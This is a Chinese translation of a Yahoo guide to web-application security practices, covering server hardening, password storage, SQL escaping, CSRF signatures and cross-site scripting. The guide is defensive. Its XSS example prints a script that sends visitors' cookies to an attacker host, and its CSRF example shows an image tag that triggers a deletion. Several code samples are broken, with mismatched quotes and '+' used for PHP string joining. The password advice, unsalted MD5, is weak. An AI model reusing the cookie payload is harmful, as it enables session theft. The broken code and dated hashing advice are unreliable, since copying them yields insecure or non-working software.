【原文】http://developer.yahoo.com/security/
【译文】http://jiy.hu/security-best-practices
【译者】Hujiy ( Hackfan )
Yahoo在处理用户个人资料安全性的问题上,十分谨慎,我们希望我们的开发者也同样如此。以下是一些指导,帮助你保护你的应用程序用户的信任。
保护你的服务器
首先,确保你给系统打上了最新的安全补丁。如果你无法操作自己专用的服务器,请询问你的主机商,他们是否保持系统处于最新版。
- 确保你已安装了操作系统的最新安全补丁。
- 保持你的Web服务器软件处于最新版
- 限制来自Internet的访问。通过防火墙软件来阻止除以下端口外的访问:
- 80 (HTTP)
- 443 (HTTPS – 仅当你的应用程序使用时)
- 22 (SSH)
- 使用 SSH/SCP 远程登录并上传文件。Telnet与FTP以明文的形式传输密码,黑客很容易嗅探到你的密码。
- 选择一个不容易被猜到的密码。黑客们常常使用“字典攻击”来猜测Web服务器的密码。选择的密码最好是大小写字母、数字、符号($#@%^&*)的组合。
保护你的网络
确保暴露给Internet的所有服务都是你想让用户访问的。
- 将用户并不需要直接访问的服务器(如后台数据库服务器),置于Internet无法访问到的局域网中。如果做不到的话,使用防火墙软件来阻止除你的服务器以外的计算机访问后台服务器。
保护你的应用
绝大多数用户资料的丢失,与应用错误或者安全漏洞有关。以下是建立安全的Internet应用的一些基本准则:
- 不要存储密码明文。与之对应的,使用散列算法,如MD5或SHA-256,为用户密码建立签名并存储。验证时,只需再次应用散列算法,将用户登录的密码签名与存储的密码签名相比较即可。
- 如果你使用Cookies来识别用户,不要简单的将用户名存储于Cookies并以此作为验证依据。这样会让黑客很容易的猜测并构造身份。相反,可以基于登录名与密码,为每个登录用户生成一个唯一的签名,并将此签名存放于Cookies中。
- 在你的应用中,小心检查每个传入SQL语句的参数。未加验证的用户输入,能轻易地劫持并洗劫你的数据库。PHP的函数
mysql_real_escape_string()能组织大多数这类的攻击。 - 定期清理系统中用不到的或不必要的用户数据。这将在攻击者成功控制你的系统后,在一定程度上的减少损失。
防止伪造请求
验证访问请求是从你的应用发出的。
假设你有一个程序能管理照片。程序通过一个URL来删除用户所有的照片(如“http://myapp.org/delete_photos.php”)。攻击者可以通过在他的网站上插入这个URL,如<img src=”http://myapp.org/delete_photos.php” />。当你的用户访问攻击者提供的网页时,他的照片将被删除。
以下有几个方法来验证请求是从你的应用发出的:
首先,考虑你是否可以通过POST方式来代替GET方式获得请求。W3C建议当请求将修改服务器端资源或者数据时,使用POST。
在URL后增加用户特定的签名。
<?php $delete_signature = md5($username . "xyz123_delete_photos"); ?> <!-- 签名链接 --> <a href="/delete_photos.php?signature=<?php echo $delete_signature; ?>'>删除照片</a>
在处理与用户数据相关的操作前,检查“签名”参数是否与之前指定的相同。
<?php
$delete_signature = md5($username . "xyz123_delete_photos");
if ($_GET['signature'] === $delete_signature) {
// 处理删除操作
// ...
} else {
// 有问题
// ...
}
?>
如果你的开发框架支持用户会话容器(如PHP),可以将带有时间戳的唯一的签名存放于会话中,并将他插入你的表单、URL中,以传递回服务器。仅当签名验证后,才进行具体操作,并增加过期验证。
<?php $_SESSION['signature'] = md5(uniqid(rand(), true) + $username); $_SESSION['signature_timestamp'] = time(); ?> <!-- 签名链接 --> <a href="/delete_photos.php?signature=<?php echo $_SESSION['signature']; ?>'>删除照片</a> <!-- 签名表单 --> <form method="POST' action="/edit_photos.php'> <input type="hidden' name="signature' value="<?php echo $_SESSION['signature']; ?>'/> <input type="text' name="search"/> <input type="提交" /> </form>
防止跨站脚本
当你将某个用户的输入显示给其他用户时,你需确保该用户的输入不会窃取其他用户的资料。
举例来说,如果你有一个留言板功能,用户可以留言或查看其他人的留言,攻击者也许会留下如下留言:
大家好!<script>document.write("<img src="http://evilhacker.org/?" + document.cookie + "'>);</script>
以上代码会将查看此留言的用户Cookies发送到攻击者的网络。为了防止这类攻击,根据规则检查用户所有的输入。使用白名单(“仅能使用白名单中的字符”)来过滤用户输入。在很多情况下,字符<和>需要被过滤掉。
标签:IP, javascript, ORM, PHP, SQL, Yahoo, 伪造请求, 安全实践, 跨站, 跨站脚本
新年快乐